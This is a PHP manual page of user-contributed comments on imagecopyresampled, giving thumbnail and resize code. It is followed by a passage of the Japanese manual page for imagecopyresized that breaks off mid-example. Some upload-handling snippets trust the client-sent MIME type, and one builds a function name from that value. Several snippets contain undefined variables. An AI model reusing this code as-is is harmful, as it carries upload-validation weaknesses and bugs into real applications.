        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);
    }
}
class thumbnail extends imaging {
    private $image;
    private $width;
    private $height;

    function __construct($image,$width,$height) {
parent::set_img($image);
parent::set_quality(80);
parent::set_size($width,$height);
            $this->thumbnail= pathinfo($image, PATHINFO_DIRNAME).pathinfo($image, PATHINFO_FILENAME).'_tn.'.pathinfo($image, PATHINFO_EXTENSION);
parent::save_img($this->thumbnail);
parent::clear_cache();
        }
    function __toString() {
            return $this->thumbnail;
    }
}

********
* DEMO *
********
$thumb = new thumbnail('./image_dir/sub_dir/myimage.jpg',100,100);
echo '<img src=\''.$thumb.'\' alt=\'myimage\' title=\'myimage\'/>';

    ?>
zuegs 31-Mar-2009 10:52
Resampling GIFs and retain transparency dosen't work always, as dependent on the resample factor the resulting resampled image has some pattern-noise that prevents "imagegif" to find all the transparent-pixels.
One way to fix this, is to reset all pixels with high alpha to full-transparent:
<?php
// load/create images
$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);
imagealphablending($img_dst, false);

// get and reallocate transparency-color
$transindex = imagecolortransparent($img_src);
if($transindex >= 0) {
  $transcol = imagecolorsforindex($img_src, $transindex);
  $transindex = imagecolorallocatealpha($img_dst, $transcol['red'], $transcol['green'], $transcol['blue'], 127);
  imagefill($img_dst, 0, 0, $transindex);
}

// resample
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

// restore transparency
if($transindex >= 0) {
  imagecolortransparent($img_dst, $transindex);
  for($y=0; $y<$g_ih; ++$y)
    for($x=0; $x<$g_iw; ++$x)
      if(((imagecolorat($img_dst, $x, $y)>>24) & 0x7F) >= 100) imagesetpixel($img_dst, $x, $y, $transindex);

// save GIF
imagetruecolortopalette($img_dst, true, 255);
imagesavealpha($img_dst, false);
imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
Warren 17-Jan-2009 11:15
This is a function I wrote for making thumbnails -  it will accept a source *image resource* and destination *path*, plus the max dimension and whether the thumbnail should be square.

I chose to accept a resource as the source to make it a bit more efficient to create multiple sizes. For example:

<?php
$src_im=@imagecreatefromjpeg($pathtofile);
$large = resize($src_im,$destination_large,1024);
@imagedestroy($src_im);
$medium = resize($large,$destination_medium,500);
@imagedestroy($large);
$small = resize($medium,$destination_small,125);
@imagedestroy($medium);
$square = resize($small,$destination_square,75,TRUE);
@imagedestroy($small);
@imagedestroy($square);

function resize($src_im, $dpath, $maxd, $square=false) {
    $src_width = imagesx($src_im);
    $src_height = imagesy($src_im);
    $src_w=$src_width;
    $src_h=$src_height;
    $src_x=0;
    $src_y=0;
    if($square){
        $dst_w = $maxd;
        $dst_h = $maxd;
        if($src_width>$src_height){
            $src_x = ceil(($src_width-$src_height)/2);
            $src_w=$src_height;
            $src_h=$src_height;
        }else{
            $src_y = ceil(($src_height-$src_width)/2);
            $src_w=$src_width;
            $src_h=$src_width;
        }
    }else{
        if($src_width>$src_height){
            $dst_w=$maxd;
            $dst_h=floor($src_height*($dst_w/$src_width));
        }else{
            $dst_h=$maxd;
            $dst_w=floor($src_width*($dst_h/$src_height));
        }
    }
    $dst_im=@imagecreatetruecolor($dst_w,$dst_h);
    @imagecopyresampled($dst_im, $src_im, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
    @imagejpeg($dst_im,$dpath);
    return $dst_im;
}
?>
MBorgPL at gmail dot com 28-Dec-2008 10:53
Another addition to zorroswordsman at gmail dot com's resize class.

The function takes $_FILES['sent_image'] as 1st parameter. The 2nd is complete destination path.

It only moves images.

It returns destination path if succeeded, and false if any error occurred.

<?php
public function move_image($tmp_img, $dest_img)
{
    //verifies if the uploaded file is an image
    if (strpos($tmp_img['type'], 'image') !== false)
        {
        //moves the uploaded file into the destination place
        if (move_uploaded_file($tmp_img['tmp_name'], $dest_img)) {
            return $dest_img;
        }
    }
    return false;
}
?>
MBorg_PL 27-Dec-2008 03:39
Another tiny ammendment to zorroswordsman at gmail dot com's resize class AND matt at rees-jenkins dot co dot uk addition. The class may resize to different width and height not only same ones:

<?php
// Set maximum image size (pixels)
public function set_size($max_x = 100,$max_y = 100)
{

    // Resize
    if($this->x_input > $max_x || $this->y_input > $max_y)
    {

        $a= $max_x / $max_y;
        $b= $this->x_input / $this->y_input;

        if ($a<$b)
        {

            $this->x_output = $max_x;
            $this->y_output = ($max_x / $this->x_input) * $this->y_input;

        }
        else
        {

            $this->y_output = $max_y;
            $this->x_output = ($max_y / $this->y_input) * $this->x_input;

        }
        // Ready

        $this->resize = TRUE;

    }

    // Don't resize
    else { $this->resize = FALSE; }

}
?>

And the use of the class is now:

<?php

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(250,150);
$img->save_img("small_250x150_" . $src);

// Baby thumbnail
$img->set_size(50,250);
$img->save_img("baby_50x250_" . $src);

// Finalize
$img->clear_cache();

?>
matt at rees-jenkins dot co dot uk 14-Oct-2008 03:32
A tiny ammendment to zorroswordsman at gmail dot com's resize class. It was only resizing if both the width AND height where greater than the desired size. This should fix it:

<?php
// Set maximum image size (pixels)
function set_size($size = 100)
{
    // Resize
    if($this->x_input > $size || $this->y_input > $size)
    {
        // Wide
        if($this->x_input >= $this->y_input)
        {
            $this->x_output = $size;
            $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;
        }
        // Tall
        else
        {
            $this->y_output = $size;
            $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;
        }
        // Ready
        $this->resize = TRUE;
    }
    // Don't resize
    else { $this->resize = FALSE; }
}
?>
zorroswordsman at gmail dot com 24-Sep-2008 07:46
I've created a PHP5 image resize class, using ImageCopyResampled, that someone might find useful, with support for JPEG, PNG, and GIF formats. It retains the original image's aspect ratio when resizing, and doesn't resize or resample if the original width and height is smaller then the desired resize.

<?php

// Imaging
class imaging
{

    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {

        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));

        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;

        }

        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;

        }

        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;

        }

        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);

    }

    // Set maximum image size (pixels)
    public function set_size($size = 100)
    {

        // Resize
        if($this->x_input > $size && $this->y_input > $size)
        {

            // Wide
            if($this->x_input >= $this->y_input)
            {

                $this->x_output = $size;
                $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;

            }

            // Tall
            else
            {

                $this->y_output = $size;
                $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;

            }

            // Ready
            $this->resize = TRUE;

        }

        // Don't resize
        else { $this->resize = FALSE; }

    }

    // Set image quality (JPEG only)
    public function set_quality($quality)
    {

        if(is_int($quality))
        {

            $this->quality = $quality;

        }

    }

    // Save image
    public function save_img($path)
    {

        // Resize
        if($this->resize)
        {

            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);

        }

        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {

            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }

        }

        // Save PNG
        elseif($this->format == "PNG")
        {

            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

        // Save GIF
        elseif($this->format == "GIF")
        {

            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

    }

    // Get width
    public function get_width()
    {

        return $this->x_input;

    }

    // Get height
    public function get_height()
    {

        return $this->y_input;

    }

    // Clear image cache
    public function clear_cache()
    {

        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);

    }

}

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(200);
$img->save_img("small_" . $src);

// Baby thumbnail
$img->set_size(50);
$img->save_img("baby_" . $src);

// Finalize
$img->clear_cache();

?>
crash 12-Aug-2008 06:49
The suggestion of converting a gif to a png to retain transparency was useful. However the steps used to maintain the transparency work for a gif as well, so the conversion step is not necessary. Just do everything the same, and save as a gif anyway. i.e.

<?php
$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
swizec at swizec dot com 17-Jul-2008 02:20
Wrote a function for sanitising user uploaded images. It saves the native image in size roughly 800x600 so it still fits on most screens when opened, makes a desired size thumbnail and turns all images into high quality jpegs for smaller bandwidth use.

Thumbnails are made in a similar way a designer would make them in photoshop, first resize the most troublesome dimension to desired size, then crop the rest out so the image retains proportions and most of it ends up in the thumbnail.

<?php

// $image is $_FILES[ <image name> ]
// $imageId is the id used in a database or wherever for this image
// $thumbWidth and $thumbHeight are desired dimensions for the thumbnail
function processImage( $image, $imageId, $thumbWidth, $thumbHeight )
{
    $type = $image[ 'type' ];
    $galleryPath = 'images/collection/';

    if ( strpos( $type, 'image/' ) === FALSE )
    { // not an image
        return FALSE;
    }
    $type = str_replace( 'image/', '', $type );
    $createFunc = 'imagecreatefrom' . $type;

    $im = $createFunc( $image[ 'tmp_name' ] );

    $size = getimagesize( $image[ 'tmp_name' ] );

    $w = $size[ 0 ];
    $h = $size[ 1 ];
    if ( $w > 800 || $h > 600 )
    { // we make sure the image isn't too huge
        if ( $w > 800 )
        {
            $nw = 800;
            $nh = ceil( $nw*($h/$w) );
        }elseif( $h > 600 )
        {
            $nh = 600;
            $nw = ceil( $nh*($w/$h) );
        }

        $im2 = imagecreatetruecolor( $nw, $nh );
        imagecopyresampled( $im2, $im, 0, 0, 0, 0, $nw, $nh, $w, $h );
        imagedestroy( $im );

        $im = $im2;
        $w = $nw;
        $h = $nh;
    }

    // create thumbnail
    $tw = $thumbWidth;
    $th = $thumbHeight;
    $imT = imagecreatetruecolor( $tw, $th );

    if ( $tw/$th > $th/$tw )
    { // wider
        $tmph = $h*($tw/$w);
        $temp = imagecreatetruecolor( $tw, $tmph );
        imagecopyresampled( $temp, $im, 0, 0, 0, 0, $tw, $tmph, $w, $h ); // resize to width
        imagecopyresampled( $imT, $temp, 0, 0, 0, $tmph/2-$th/2, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }else
    { // taller
        $tmpw = $w*($th/$h );
        $imT = imagecreatetruecolor( $tmpw, $th );
        imagecopyresampled( $imT, $im, 0, 0, 0, 0, $tmpw, $h, $w, $h ); // resize to height
        imagecopyresampled( $imT, $temp, 0, 0, $tmpw/2-$tw/2, 0, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }

    // save the image
    imagejpeg( $im, $galleryPath . $imgid . '.jpg', 100 );
    imagejpeg( $imT, $galleryPath . $imgid . '_thumb.jpg', 100 );
}

?>
mattura gmail com 19-May-2008 10:53
Here's a little function I wrote to resize images to a maximum dimension - based on what facebook does in the galleries. You put in a source, destination and a maximum dimension in pixels (eg 300), and for example if the image is long and thin, the longest edge will be 300px, yet the image retains proportions. A square image will become 300x300, a 6x4 (landscape) will become 300x200, a 4x6 (portrait) - 200x300 etc.
It works on jpg images, but other formats can easily be added.
<?php
function createThumb($spath, $dpath, $maxd) {
 $src=@imagecreatefromjpeg($spath);
 if (!$src) {return false;} else {
  $srcw=imagesx($src);
  $srch=imagesy($src);
  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
  $thumb=imagecreatetruecolor($width, $height);
  if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  else {imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  imagejpeg($thumb, $dpath);
  return true;
 }
}
?>
bobbyboyojones at hotmail dot com 18-Mar-2008 11:41
I hated that enlarging an image resulted in giant pixels rather than a smoother look, so I wrote this function.  It takes longer, but gives a much nicer look.

<?php

function imagecopyresampledSMOOTH(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $mult=1.25){
    // don't use a $mult that's too close to an int or this function won't make much of a difference

    $tgt_w = round($src_w * $mult);
    $tgt_h = round($src_h * $mult);

    // using $mult <= 1 will make the current step w/h smaller (or the same), don't allow this, always resize by at least 1 pixel larger
    if($tgt_w <= $src_w){ $tgt_w += 1; }
    if($tgt_h <= $src_h){ $tgt_h += 1; }

    // if the current step w/h is larger than the final height, adjust it back to the final size
    // this check also makes it so that if we are doing a resize to smaller image, it happens in one step (since that's already smooth)
    if($tgt_w > $dst_w){ $tgt_w = $dst_w; }
    if($tgt_h > $dst_h){ $tgt_h = $dst_h; }

    $tmpImg = imagecreatetruecolor($tgt_w, $tgt_h);

    imagecopyresampled($tmpImg, $src_img, 0, 0, $src_x, $src_y, $tgt_w, $tgt_h, $src_w, $src_h);
    imagecopy($dst_img, $tmpImg, $dst_x, $dst_y, 0, 0, $tgt_w, $tgt_h);
    imagedestroy($tmpImg);

    // as long as the final w/h has not been reached, reep on resizing
    if($tgt_w < $dst_w OR $tgt_h < $dst_h){
        imagecopyresampledSMOOTH($dst_img, $dst_img, $dst_x, $dst_y, $dst_x, $dst_y, $dst_w, $dst_h, $tgt_w, $tgt_h, $mult);
    }
}

?>
arnar at netvistun dot is 16-Mar-2008 10:58
A small thumb script. Lets you specify max height and width. The thumb will always be of a rectangular shape while the image itself retains it's proportions. Very clean.

<?php
// The file
$filename = 'a.jpg';

// Set a maximum height and width
$width = 80;
$height = 80;

$thumbsize = 80;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($thumbsize, $thumbsize);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, -($width/2) + ($thumbsize/2), -($height/2) + ($thumbsize/2), 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>
rayg at daylongraphics dot com 07-Mar-2008 02:45
Here's a simple function to resample one JPEG imagefile to another while keeping aspect ratio of the source within the destination's dimensions. You can also tune the allowable distortion if you end up making too many thumbnails with thin blank areas around them. Should work when enlarging images too. Function returns true if it worked, false if not.

function resample_picfile($src, $dst, $w, $h)
{
    // If distortion stretching is within the range below,
    // then let image be distorted.
    $lowend = 0.8;
    $highend = 1.25;

    $src_img = imagecreatefromjpeg($src);
    if($src_img)
    {
        $dst_img = ImageCreateTrueColor($w, $h);
        /* if you don't want aspect-preserved images
to have a black bkgnd, fill $dst_img with the color of your choice here.
        */

        if($dst_img)
        {
            $src_w = imageSX($src_img);
            $src_h = imageSY($src_img);

            $scaleX = (float)$w / $src_w;
            $scaleY = (float)$h / $src_h;
            $scale = min($scaleX, $scaleY);

            $dstW = $w;
            $dstH = $h;
            $dstX = $dstY = 0;

            $scaleR = $scaleX / $scaleY;
            if($scaleR < $lowend || $scaleR > $highend)
            {
                $dstW = (int)($scale * $src_w + 0.5);
                $dstH = (int)($scale * $src_h + 0.5);

                // Keep pic centered in frame.
                $dstX = (int)(0.5 * ($w - $dstW));
                $dstY = (int)(0.5 * ($h - $dstH));
            }

            imagecopyresampled(
                $dst_img, $src_img, $dstX, $dstY, 0, 0,
                $dstW, $dstH, $src_w, $src_h);
            imagejpeg($dst_img, $dst);
            imagedestroy($dst_img);
        }
        imagedestroy($src_img);
        return file_exists($dst);
    }
    return false;
}
wm at violet dot bg 20-Feb-2008 01:16
This is a fixed version of ImageCopyResampledBicubic posted by liviu.malaescu
The original version wasn't respecting src_x & src_y args

<?php
    function ImageCopyResampledBicubic(&$dst_image, &$src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
        // we should first cut the piece we are interested in from the source
        $src_img = ImageCreateTrueColor($src_w, $src_h);
        imagecopy($src_img, $src_image, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // this one is used as temporary image
        $dst_img = ImageCreateTrueColor($dst_w, $dst_h);

        ImagePaletteCopy($dst_img, $src_img);
        $rX = $src_w / $dst_w;
        $rY = $src_h / $dst_h;
        $w = 0;
        for ($y = 0; $y < $dst_h; $y++)  {
            $ow = $w; $w = round(($y + 1) * $rY);
            $t = 0;
            for ($x = 0; $x < $dst_w; $x++)  {
                $r = $g = $b = 0; $a = 0;
                $ot = $t; $t = round(($x + 1) * $rX);
                for ($u = 0; $u < ($w - $ow); $u++)  {
                    for ($p = 0; $p < ($t - $ot); $p++)  {
                        $c = ImageColorsForIndex($src_img, ImageColorAt($src_img, $ot + $p, $ow + $u));
                        $r += $c['red'];
                        $g += $c['green'];
                        $b += $c['blue'];
                        $a++;
                    }
                }
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img, $r / $a, $g / $a, $b / $a));
            }
        }

        // apply the temp image over the returned image and use the destination x,y coordinates
        imagecopy($dst_image, $dst_img, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h);

        // we should return true since ImageCopyResampled/ImageCopyResized do it
        return true;
    }
?>
Michael Shepanski 14-Jan-2008 10:09
Here is a function I thought I would share that will resample and copy an image with rounded corners.

<?php
/** ------------------------------------------------------------
 * Copy and resample an image with rounded corners.
 * ----------------------------------------------------------- */
function imageRoundedCopyResampled(&$dstimg, &$srcimg, $dstx, $dsty, $srcx,
                                   $srcy, $dstw, $dsth, $srcw, $srch, $radius) {
    # Resize the Source Image
    $srcResized = imagecreatetruecolor($dstw, $dsth);
    imagecopyresampled($srcResized, $srcimg, 0, 0, $srcx, $srcy,
                       $dstw, $dsth, $srcw, $srch);
    # Copy the Body without corners
    imagecopy($dstimg, $srcResized, $dstx+$radius, $dsty,
              $radius, 0, $dstw-($radius*2), $dsth);
    imagecopy($dstimg, $srcResized, $dstx, $dsty+$radius,
              0, $radius, $dstw, $dsth-($radius*2));
    # Create a list of iterations; array(array(X1, X2, CenterX, CenterY), ...)
    # Iterations in order are: Top-Left, Top-Right, Bottom-Left, Bottom-Right
    $iterations = array(
        array(0, 0, $radius, $radius),
        array($dstw-$radius, 0, $dstw-$radius, $radius),
        array(0, $dsth-$radius, $radius, $dsth-$radius),
        array($dstw-$radius, $dsth-$radius, $dstw-$radius, $dsth-$radius)
    );
    # Loop through each corner 'iteration'
    foreach($iterations as $iteration) {
        list($x1,$y1,$cx,$cy) = $iteration;
        for ($y=$y1; $y<=$y1+$radius; $y++) {
            for ($x=$x1; $x<=$x1+$radius; $x++) {
                # If length (X,Y)->(CX,CY) is less then radius draw the point
                $length = sqrt(pow(($cx - $x), 2) + pow(($cy - $y), 2));
                if ($length < $radius) {
                    imagecopy($dstimg, $srcResized, $x+$dstx, $y+$dsty,
                              $x, $y, 1, 1);
                }
            }
        }
    }
}
?>
matt1walsh DESPAMMER gmail dot com 19-Nov-2007 07:15
None of the stuff I've seen for resizing transparent GIFs works consistently and yields a good image. The hack I thought of is silly, but it works okay -- convert GIF to PNG. This worked for me.

$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagepng($img_dst, $g_dstfile);
imagedestroy($img_dst);
Dave McCourt 12-Nov-2007 05:32
This function is taken from lots of web sources so thanks to all for posting. It creates square or landscape thumbnails from .jpgs  from either portait or landscape original images. I decide in advance which way I want the thumbs to display for consistency. I usually sharpen the images as well post-upload, to save on server resources. I can post this code if anyone wants it. I hope this helps someone...

    # create thumbnails from jpgs
    # usage:
    # create_jpgthumb(uploaded file, final file (with path), thumb height, thumb width, jpg quality, scale thumb (true) or fixed size (false);
    function create_jpgthumb($original, $thumbnail, $max_width, $max_height, $quality, $scale = true) {

        list ($src_width, $src_height, $type, $w) = getimagesize($original);

        if (!$srcImage = @imagecreatefromjpeg($original)) {
            return false;
        }

        # image resizes to natural height and width
        if ($scale == true) {

            if ($src_width > $src_height ) {
                $thumb_width = $max_width;
                $thumb_height = floor($src_height * ($max_width / $src_width));
            } else if ($src_width < $src_height ) {
                $thumb_height = $max_height;
                $thumb_width = floor($src_width * ($max_height / $src_height));
            } else {
                $thumb_width = $max_height;
                $thumb_height = $max_height;
            }

            if (!@$destImage = imagecreatetruecolor($thumb_width, $thumb_height)) {
                return false;
            }

            if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, 0, $thumb_width, $thumb_height, $src_width, $src_height)) {
                return false;
            }

        # image is fixed to supplied width and height and cropped
        } else if ($scale == false) {

            $ratio = $max_width / $max_height;

            # thumbnail is landscape
             if ($ratio > 1) {

                # uploaded pic is landscape
                if ($src_width > $src_height) {

                    $thumb_width = $max_width;
                    $thumb_height = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_height > $max_width) {
                        $thumb_height = $max_width;
                        $thumb_width = ceil($max_width * ($src_width / $src_height));
                    }

                # uploaded pic is portrait
                } else {

                    $thumb_height = $max_width;
                    $thumb_width = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_width > $max_width) {
                        $thumb_width = $max_width;
                        $thumb_height = ceil($max_width * ($src_height / $src_width));
                    }

                    $off_h = ($src_height - $src_width) / 2;

                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, $off_h, $thumb_width, $thumb_height, $src_width, $src_height)) {
                    return false;
                }

            # thumbnail is square
             } else {

                if ($src_width > $src_height) {
                    $off_w = ($src_width - $src_height) / 2;
                    $off_h = 0;
                    $src_width = $src_height;
                } else if ($src_height > $src_width) {
                    $off_w = 0;
                    $off_h = ($src_height - $src_width) / 2;
                    $src_height = $src_width;
                } else {
                    $off_w = 0;
                    $off_h = 0;
                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, $off_w, $off_h, $max_width, $max_height, $src_width, $src_height)) {
                    return false;
                }

             }

        }

        @imagedestroy($srcImage);

        if (!@imageantialias($destImage, true)) {
            return false;
        }

        if (!@imagejpeg($destImage, $thumbnail, $quality)) {
            return false;
        }

        @imagedestroy($destImage);

        return true;
    }
tim dot daldini at gmail dot be 03-Oct-2007 08:57
Tim's function is a whole lot faster, however, the quality setting doesnt seem right since resizing very big images doesnt affect quality of the resulting thumbnails that much on quality 1 for example.

Anyone has figured out how to use a more correct quality setting by comparing image surfaces (for example) basing on Tim's function?

images with a total of 10Megapixels that contain 5Megapixels when resized should use the same quality setting like images that contain 1Megapixels but only 0.5 when resized.

Not hard to understand, but the memoryload would be a lot lower if the function could decide to use a setting of quality 1 automatically when resizing big images to small thumbnails. This would be handy especially when using the function for images of various sizes in the same application.
eblejr AT phrebh DOT com 05-Sep-2007 11:38
Tim's code is fast, but if you're trying to put resampled images anywhere but in the top-left corner, it doesn't work.
rich at corephp dot co dot uk 20-May-2007 03:05
Be wary of this function when resizing images to make them *larger* than the original due to the memory consumption rate. For example a 200KB JPEG file (1024x768) will take up 4MB of memory when loaded, but when resampled to twice the the size the memory use jumps to 20.1MB. imagecopyresized does the same. Allow approx. 5 bytes per *pixel* for memory allowance when dealing with true colour images.
areddan at silverarm dot ie 27-Jan-2006 12:40
<?php
// The file
$filein = ''; // File in
$fileout = 'ttt.gif'; // Fileout - optional

$imagethumbsize_w = 100; // thumbnail size (area cropped in middle of image)
$imagethumbsize_h = 75; // thumbnail size (area cropped in middle of image)
resize_then_crop( $filein,$fileout,$imagethumbsize_w,
$imagethumbsize_h,/*rgb*/"255","255","255");

//Author Alan Reddan Silverarm Solutions
//Date 27/01/2005
//Function that works well with images.
//It takes the image and reduces its size to best fit. i.e If you have an image
//that is 200 X 100 and you want a thumbnail of 75 X 50,
//it first resizes the image to 100 X 50
//and then takes out a portion 75 X 50 from then center of the input image.
//So loads of image information is retained.
//The corollary also holds if your input image is 100 X 200
//it first resizes image to 75 X 150 and then takes out a
//portion 75 X 75 from the centre
// The advantage here is that function decides on whether
//resize is by width or height itself.
//it also decides whether to use the height or the width as the base start point
//in the case that athumbnail is rectangular

function resize_then_crop( $filein,$fileout,
$imagethumbsize_w,$imagethumbsize_h,$red,$green,$blue)
{

// Get new dimensions
list($width, $height) = getimagesize($filein);
$new_width = $width * $percent;
$new_height = $height * $percent;

   if(preg_match("/.jpg/i", "$filein"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filein"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filein"))
   {
       $format = 'image/png';
   }

       switch($format)
       {
           case 'image/jpeg':
           $image = imagecreatefromjpeg($filein);
           break;
           case 'image/gif';
           $image = imagecreatefromgif($filein);
           break;
           case 'image/png':
           $image = imagecreatefrompng($filein);
           break;
       }

$width = $imagethumbsize_w ;
$height = $imagethumbsize_h ;
list($width_orig, $height_orig) = getimagesize($filein);

if ($width_orig < $height_orig) {
  $height = ($imagethumbsize_w / $width_orig) * $height_orig;
} else {
    $width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

if ($width < $imagethumbsize_w)
//if the width is smaller than supplied thumbnail size
{
$width = $imagethumbsize_w;
$height = ($imagethumbsize_w/ $width_orig) * $height_orig;;
}

if ($height < $imagethumbsize_h)
//if the height is smaller than supplied thumbnail size
{
$height = $imagethumbsize_h;
$width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

$thumb = imagecreatetruecolor($width , $height);
$bgcolor = imagecolorallocate($thumb, $red, $green, $blue);
ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor);
imagealphablending($thumb, true);

imagecopyresampled($thumb, $image, 0, 0, 0, 0,
$width, $height, $width_orig, $height_orig);
$thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h);
// true color for best quality
$bgcolor = imagecolorallocate($thumb2, $red, $green, $blue);
ImageFilledRectangle($thumb2, 0, 0,
$imagethumbsize_w , $imagethumbsize_h , $white);
imagealphablending($thumb2, true);

$w1 =($width/2) - ($imagethumbsize_w/2);
$h1 = ($height/2) - ($imagethumbsize_h/2);

imagecopyresampled($thumb2, $thumb, 0,0, $w1, $h1,
$imagethumbsize_w , $imagethumbsize_h ,$imagethumbsize_w, $imagethumbsize_h);

// Output
//header('Content-type: image/gif');
//imagegif($thumb); //output to browser first image when testing

if ($fileout !="")imagegif($thumb2, $fileout); //write to file
header('Content-type: image/gif');
imagegif($thumb2); //output to browser
}
?>
04-Jul-2005 05:46
It should be noted that the imagecopyresampled() function is much more blurry than Photoshop CS's default bicubic funtion. And looks similar to a blury version of Photoshop's bilinear function. The documentation fails to note which algorithm is used in resampling.


画像の一部をコピーしサイズを変更する

  • ≪ imagecopyresampled
  • imagecreate ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の一部をコピーしサイズを変更する

imagecopyresized

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecopyresized — 画像の一部をコピーしサイズを変更する

説明

imagecopyresized ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h ) : bool

imagecopyresized() は指定した画像の矩形部分を 別の画像へコピーします。dst_image はコピー先の イメージ ID、src_image はコピー元のイメージ ID です。

言い換えると、imagecopyresized() は src_image の座標 (src_x,src_y) にある 幅 src_w、高さ src_h の矩形領域を受け取って、それを dst_image の座標 (dst_x,dst_y) にある幅 dst_w、高さ dst_h の矩形領域に配置します。

コピー先とコピー元の座標、幅、高さが異なった場合、画像の一部が 適当に伸縮されます。座標の原点は左上です。(仮に、 dst_image と src_image が 同一であれば)関数は領域のコピーに使うことができますが、領域が 重なったときの結果は予測できません。

パラメータ

dst_image

コピー先の画像リソース。

src_image

コピー元の画像リソース。

dst_x

コピー先の x 座標。

dst_y

コピー先の y 座標。

src_x

コピー元の x 座標。

src_y

コピー元の y 座標。

dst_w

コピー先の幅。

dst_h

コピー先の高さ。

src_w

コピー元の幅。

src_h

コピー元の高さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 イメージをリサイズする

この例はイメージを半分のサイズで表示します。

<?php
// ファイルと新規サイズ
